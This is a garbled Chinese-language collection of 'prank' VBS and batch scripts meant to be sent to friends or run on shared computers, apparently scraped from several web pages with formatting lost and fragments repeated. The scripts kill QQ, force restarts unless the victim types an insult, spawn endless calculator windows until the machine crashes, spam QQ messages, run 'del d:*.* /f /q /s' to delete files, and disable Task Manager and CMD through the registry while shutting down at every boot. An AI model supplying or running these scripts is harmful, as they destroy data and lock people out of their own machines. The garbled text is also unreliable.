vbs整人代碼集合

1、echo offif %1 = h goto beginmshta vbscript:createobject(wscript.shell).run(%nx0h,0)(window.close)&exit :begintasklist |find /i QQ.exeif %errorlevel%=0 (goto killit) else (goto next):killittaskkill /f /im QQ.exe:nextping -n 3 127.t nul 2nulgoto begin分割線把以上代碼保存成txt 格式，然后把后綴改成bat,然后雙擊運行嘿嘿，那你的qq 就不能運行了喲

2、 color 4fecho offecho 刪除計算機的C 盤的所有文件 .ping /n 2 nulecho 已刪除完畢echo.echo 刪除計算機的D 盤的所有文件 .ping /n 2 nulecho 已刪除完畢echo.echo 刪除計算機的E 盤的所有文件 .ping /n 2 nulecho 已刪除完畢colorecho.echo. =echo. 啊哈哈，都刪關，都殺關，哈哈,echo. =echo. 系統(tǒng)將馬上崩潰.echo. 這是一個木馬程序.您的所有資料已經(jīng)傳到XXXXshutdown /r /t 30 /c 電腦

3、在 30s 內(nèi)即將崩潰 ,哈哈，你活該！ntsd -c q -pn explorer.exeping /n 20 nulstart explorer.exeshutdown -a_ 分割線 _將分割線以上部分保存到txt格式，然后把后綴改成bat 就可以運行了運行后你的磁盤會被格式化當然那是假的。用來嚇人的。 。希望你玩的愉快。 。set WSHshellA = wscript.createobject(wscript.shell)WSHshellA.run cmd.exe /c shutdown -r -t 180 -c 說我是豬，不說我是豬就一分鐘關機，不信，試下 ,0

4、 ,truedim ado while(a 我是豬 )a = inputbox ( 說我是豬 ,就不關機，快撒，說 我是豬, 說不說 ,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) + 早說就行了嘛dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutdown -a,0 ,truemsgbox chr(13) + chr(13

5、) + chr(13) + 哈哈哈哈，好乖-新建一個記事本把上面的代碼復制進去另存為VBE格式的就可以了讓對方說我是豬set wsh=createobject(wscript.shell)dowsh.run calcloop新建一個記事本 把上面的代碼復制進去 另存為 VBE 格式的就可以了打開無數(shù)個計算器，直到死機換一下、你打開好友的聊天對話框 ,然后記下在你,就可以自定義發(fā)送 QQ 信息到好友的次數(shù)QQ 里好友的昵稱 ,把下面代碼里的(代碼里的數(shù)字10 改一下即可 ).xx 替xx.vbs=-On Error Resume NextDim wsh,yeset wsh=createobjec

6、t(wscript.shell)for i=1 to 10wscript.sleep 700wsh.AppActivate( 與 xx 聊天中 )wsh.sendKeys vwsh.sendKeys iwsh.sendKeys %snextwscript.quit-AQ 騷擾信息 ,也可以用在其它程序上。二、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈-domsgbox You are foolish!loop-三、打開無數(shù)個計算器，直到死機-set wsh=createobject(wscript.shell)dowsh.run calcloop-四、直接關機-di

7、m WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run shutdown -f -s -t 00,0 ,true-五、刪除所有文件-dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd /c del d:*.* / f /q /s,0 ,true-六、不斷彈出窗口-while(1)msgbox 哈哈 你被耍了！ loop-七、不斷按下alt+f4（開什么都關閉 , ）-dim WSHshellset W

8、SHshell = wscript.createobject(wscript.shell)while(1)WSHshell.SendKeys %F4loop-八、按 500 次回車(以上代碼在運行者的電腦上顯示500 個對話框。其中do until s=500， 500 可以隨意更改)-dim sdo until s=500s=s+1msgbox 哥們，給我按500 次回車吧 ,64loop- -九、關不掉的窗口-WScript.Echo( 嘿，謝謝你打開我哦，我等你很久拉！ &TSName)WScript.Echo( 你是可愛的小朋嗎 ?)WScript.Echo( 哈 ,我想你拉，這你都不

9、知道嗎？)WScript.Echo( 怎么才來，說 是不是不關心我 )WScript.Echo( 哼 ,我生氣拉，等你這么久，心都涼啦。)WScript.Echo( 小強很生氣，后果很嚴重哦。)WScript.Echo( 嘿嘿！你也會很慘滴哦)WScript.Echo( 是不是想清除我？ )WScript.Echo( 那你要點上 50 下哦，不過會給你驚喜滴)WScript.Echo( 還剩 49 下，快點點哦 )WScript.Echo( 還剩 48 下，快點，小笨蛋！)WScript.Echo( 還剩 47 下對，就這樣快點點！)WScript.Echo( 還剩 46 下。你啊就是笨，要快

10、哦，我先不打擾你工作。 )WScript.Echo( 還剩 45 下，記得要快哦！)WScript.Echo( 還剩 43 下 )WScript.Echo( 還剩 42 下 )WScript.Echo( 還剩 41 下 )WScript.Echo( 還剩 40 下 )WScript.Echo( 還剩 39 下 )WScript.Echo( 還剩 38 下 )WScript.Echo( 還剩 37 下 )WScript.Echo( 還剩 36 下 )WScript.Echo( 還剩 35 下 )WScript.Echo( 還剩 34 下 )WScript.Echo( 還剩 33 下 )WScri

11、pt.Echo( 還剩 32 下 )WScript.Echo( 還剩 30 下 )WScript.Echo( 還剩 29 下 )WScript.Echo( 還剩 28 下 )WScript.Echo( 還剩 27 下 )WScript.Echo( 還剩 26 下 )WScript.Echo( 還剩 25 下 )WScript.Echo( 還剩 24 下 )WScript.Echo( 還剩 23 下 )WScript.Echo( 還剩 22 下 )WScript.Echo( 還剩 21 下 )WScript.Echo( 還剩 20 下 )WScript.Echo( 還剩 19 下 )WScrip

12、t.Echo( 還剩 18 下 )WScript.Echo( 還剩 17 下 )WScript.Echo( 還剩 16 下 )WScript.Echo( 還剩 15 下 )WScript.Echo( 還剩 14 下 )WScript.Echo( 還剩 13 下停停！慢點，我有話要說)WScript.Echo( 還剩 12 下，你繼續(xù)點我就會消失滴)WScript.Echo( 還剩 11 下，以后就看不到我拉。555555)WScript.Echo( 還剩 10 下，你現(xiàn)在可以選擇停止！)WScript.Echo( 還剩 9 下。你還點啊，不要我拉？)WScript.Echo( 還剩 8 下，有

13、點傷心拉，干嘛丟棄人家)WScript.Echo( 還剩 7 下。瘋了，你有點負意！)WScript.Echo( 還剩 6 下。對。你就點吧，我恨你！)WScript.Echo( 還剩 5 下，不明白，刪除我你就好嗎？)WScript.Echo( 還剩 4 下！真要刪除我？ )WScript.Echo( 還剩 3下?？墒俏艺娴暮芫鞈倌恪?。)WScript.Echo( 還剩 2下。不要這么絕情嘛，人家是愛你的！ )WScript.Echo( 還剩 1下。哼，既然你這么絕情。也別怪我無義！ )WScript.Echo( 我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。)WScript.E

14、cho( 想結(jié)素我么WScript.Echo( 想結(jié)素我么WScript.Echo( 想結(jié)素我么WScript.Echo( 想結(jié)素我么WScript.Echo( 想結(jié)素我么WScript.Echo( 想結(jié)素我么?那你就再多點一次)?那你就再多點一次)?那你就再多點一次)?那你就再多點一次)?那你就再多點一次)?那你就再多點一次)WScript.Echo( 想結(jié)素我么 ?那你就再多點一次)WScript.Echo( 想結(jié)素我么 ?那你就再多點一次)WScript.Echo( 想結(jié)素我么 ?那你就再多點一次)WScript.Echo( 想結(jié)素我么 ?那你就再多點一次)-兩個整人的VBS 腳本200

15、9-07-16 18:16文章錄入：7747.Net責任編輯：7747.Net 564【字體：小大】測試環(huán)境： Windows 2003系統(tǒng)大家好我是 Vanlisa QQ137841986今天給大家?guī)韮蓚€整人的VBS 腳本希望大家喜歡VBS 腳本大家都知道吧第一個是定時關機的如果把他發(fā)給你的QQ 好友他不懂的話如果不輸我是豬電腦就會在你設定的時間內(nèi)關機我設置的是3 分鐘 只要輸入就解除了當然如果不輸?shù)脑捯灿薪獬霓k法我們來看下這個腳本-on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(wscript.

16、shell)WSHshellA.run cmd.exe /c shutdown -r -t 180 -c 說我是豬，不說我是豬就一分鐘關機，不信，試下 ,0 ,truedim ado while(a 我是豬 )a = inputbox ( 說我是豬 ,就不關機，快撒，說 我是豬, 說不說 ,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) + 早說就行了嘛dim WSHshellset WSHshell = wscript.createobject(ws

17、cript.shell)WSHshell.run cmd.exe /c shutdown -a,0 ,truemsgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，好乖-新建一個記事本把上面的代碼復制進去另存為VBE 格式的就可以了cmd.exe /c shutdown -r -t 180 -c這里的數(shù)字可以修改關機時間180 秒這些文字也可以自設這個腳本啟用cmd 里的關機程序如果不輸?shù)牡脑捒梢源蜷_任務管理器輸入 shutdown -a 來解除 我們試下這時定時關機已經(jīng)沒了但是還有個關不掉的窗口我們打開任務管理器結(jié)束掉Wscript.exe這個進程就 OK了 這

18、時就完全解除這個腳本了Wscript時Windows腳本宿主-下面看第二個整人的腳本-set ws=createobject(wscript.shell)call shutdown(1)do while a 我是豬 a=inputbox( 快在下面的框框里輸入我是豬,否則后果自負，快輸 我是豬 , 輸不輸 ,)loopcall shutdown(2)msgbox 早說就行了嘛 ,4096+64msgbox 再輸一遍我是豬 !,4096+64msgbox 我是豬 !,4096+64MsgBox 最后一次 !,4096+64MsgBox 如果你很快的點過去,不看的話 ,4096+64MsgBox

19、我就要你踩我空間的!哼 !,4096+64MsgBox 從前有座山 !,4096+64MsgBox 山里有個廟 .,4096+64MsgBox 廟里有個老和尚在講故事 .,4096+64 ws.runiexplore.exehttp:/ msgbox 哎呀累了！數(shù)綿羊哄我睡覺 ,4096+64for i=1 to 100MsgBox i& 只綿羊 ,4096+64nextmsgbox 哎呀我困了，這次就饒過你吧，下次注意哦 !,4096+64msgbox 最后問個問題，我是不是大好人！ ,4096+64 if inputbox(是不是 , 請選擇 , 是 ) 是 thencall shutdo

20、wn(1)end ifsub shutdown(s)select case scase 1ws.runcmd.exe /c shutdown -r -t 60 -c,0case 2ws.runcmd.exe /c shutdown -a,0end selectend sub-ws.runiexplore.exe http:/ i=1 to 100從 1 到 100可以改成20 其他的數(shù)字解除這個 VBS 腳本的辦法就簡單了只是關掉任務管理器里Wscript.exe這個進程就好了BY ： 2009QQ 整人代碼2010-01-28 21:18set s=createobject(wscript.

21、shell)set bag=getobject(winmgmts:.rootcimv2)set pipe=bag.execquery(select * from win32_process where name=wscript.exe)For Each id in pipeif instr(1,mandLine,wscript.scriptfullname)0 and pipe.count=2 thens.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,0,REG_DWORDs.reg

22、writeHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,0,REG_DWORDid.terminate()elses.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,1,REG_DWORDs.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,1,REG_DWORDfor i=1 to 60s.popup系統(tǒng)將在 & 60-i & 秒后關機 .,1, 系統(tǒng)提

23、示 ,4096+48nextSetcolOS=GetObject(winmgmts:(Shutdown).ExecQuery(Select*FROMWin32_OperatingSystem)For Each eOs In colOSeOs.Win32Shutdown(2)Nextend ifNextcolor=#FF0000 復制以上代碼，在桌面建一個文本，把代碼放進去，另存為VBE 格式，此代碼的威力：1：開機就強制自動關機2： cmd 命令打不開3：結(jié)束任務不管用4： F8 安全模式也不管用呵呵！聽起來是不是有點恐怖啊，我在我朋友空間里看見也嚇了一跳、代碼破解方法：就是再運行一次，就可以

24、破解了，也就是第2 次保存的那個VBE 文件，PS：不要亂拿軟件去整人，發(fā)生什么事可不要怪我啊。拍拍手頂起吧 !2：on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(wscript.shell)WSHshellA.run cmd.exe /c shutdown -r -t 60 -c 說你是傻 B ，我是天下第一大傻 B 不說寶寶，我是天下第一大傻 B 就一分鐘關你機，不信，試試 ,0 ,truedim ado while(a 寶寶，我是天下第一大傻B)a = inputbox ( 寶寶，我是天下第一大傻B, 就不關機，快撒，說 寶寶，我是天下第一大傻B, 說不說 , 不說 ,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr